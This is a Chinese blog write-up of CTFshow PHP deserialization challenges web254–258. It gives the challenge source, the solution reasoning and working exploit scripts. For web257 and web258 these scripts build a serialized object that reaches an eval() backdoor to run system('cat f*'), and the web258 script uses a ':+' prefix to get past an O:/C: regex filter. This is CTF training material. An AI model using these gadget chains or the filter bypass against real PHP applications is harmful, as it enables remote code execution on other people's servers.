CTFShow反序列化web254-8题wp

文章详细描述了解决CTFshow平台上的四个PHP编程挑战,涉及反序列化技巧,如何利用isVip布尔值和构造函数/destructor执行恶意代码,以及防止常见的安全漏洞,如rec漏洞。
摘要由CSDN通过智能技术生成

CTFshow做题记录

跟迪哥学反序列化,顺手做的几道题目,记录一下

题目:web254

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

解题思路:

  1. 触发vipOneKeyGetFlag
  2. $this->isVip为真

这题目跟反序列化没关系,主要是考验对代码逻辑是否清晰,怎么调用的

只需要/?username=xxxxxx&password=xxxxxx

在这里插入图片描述

题目:web255

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){              //检查是否传入username,password
    $user = unserialize($_COOKIE['user']);    		//传入Cookie
    if($user->login($username,$password)){				//调用login(),跳转到上面login检查username和password的值是否为xxxxxx
        if($user->checkVip()){							//检查isVip的bool值是否为真
            $user->vipOneKeyGetFlag();				//为真,就调用vipOneKeyGetFlag(),跳转到上面function
        }
    }else{
        echo "no vip,no flag";
    }
}

思路

这个题目的关键点在于isVip的bool值,代码中我们想要的是调用vipOneKeyGetFlag()这个函数,但是不管是if($user->checkVip())还是vipOneKeyGetFlag()里面的if($this->isVip),都有对isVip的bool判断,并且题目的函数中并没有对isVip布尔值的修改,我们能操作的点只有两个:

  • GET传进去username&password
  • $user = unserialize($_COOKIE['user']);

我们可以在第二个注入点中,将isVip的bool值修改成true,记得将serialize后的字符串url编码,可以用php的内置函数urlencode()
在这里插入图片描述

FLAG

抓包,把user这个参数通过Cookie传进去,把username=xxxxxx和password=xxxxxx用GET方法传进去

在这里插入图片描述

题目:256

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

思路

跟上题不一样的在于需要$this->username===$u&&$this->password===$p;,又要if($this->username!==$this->password)

所以直接在定义public变量username和password的地方直接给他改了,改成不一样的就行

Flag

在这里插入图片描述

your flag is ctfshow{ffff1dc0-b627-4337-9394-85bf0d9e6ba3}

题目:257

反序列化造成的rec漏洞

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

思路

  • 先抓源头,找到可以用eval()来getshell,我们需要调用backDoor这个类里的getInfo这个函数

  • 我们的exp里肯定是要new一个类的,所以必然会调用__construct,这个魔术方法实例化了info,info里会改变user的值,我们就无法传入值了,so需要把这个info改掉,改成backDoor

  • 让$this->class是backDoor类的实例化就可以了

  • 如果不把$this->class=new info();这个语句里的info改成backDoor,就会导致__destruct调用的时候只能进到info这个类,进不去backDoor

  • 然后要做的就是改一下code的参数, 'system("cat f*");'

    是的,您的理解是正确的。在这个PHP脚本中,ctfShowUser 类的实例化过程中,通过 $this->class=new info();info 类的一个实例赋给了 $class 属性。当 ctfShowUser 实例被销毁时,会自动调用 __destruct 方法,进而调用 $this->class->getInfo(),这里的 $this->class 指向的是之前创建的 info 类的实例。

    如果您不修改 $this->class=new info();$this->class=new backDoor();,那么即使您尝试通过某种方式注入或修改了 $user 对象(比如通过序列化/反序列化攻击),在 __destruct 方法调用时,执行的依旧是 info 类中的 getInfo() 方法,而不是 backDoor 类中的 getInfo() 方法,后者可能包含允许执行任意代码的 eval 函数。

    因此,为了利用这个脚本潜在的安全漏洞,比如执行任意代码,您需要确保 ctfShowUser 实例的 $class 属性指向的是 backDoor 类的实例,这样在对象销毁时,才能通过 backDoor 类的 getInfo() 方法执行恶意代码。这通常涉及到对 $user 对象进行序列化和反序列化的操作,并且在反序列化时篡改 $class 属性的内容,使其指向 backDoor 类。

EXP

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code = 'system("cat f*");';
    public function getInfo(){
        eval($this->code);
    }
}
echo urlencode(serialize(new ctfShowUser()));
?>

Flag

在这里插入图片描述

题目:258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

思路

除了if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))加了这段过滤,跟上题没区别

过滤了o:或者c:之后加了数字,我们把后面这个数字前面加一个+就可以绕过这个正则匹配

用str_replace替换一下就好,注意要先序列化,然后替换,再urlencode,否则会出错d

exp

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    public $code='system("cat f*");';
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
?>

Flag

在这里插入图片描述

在这里插入图片描述

  • 17
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值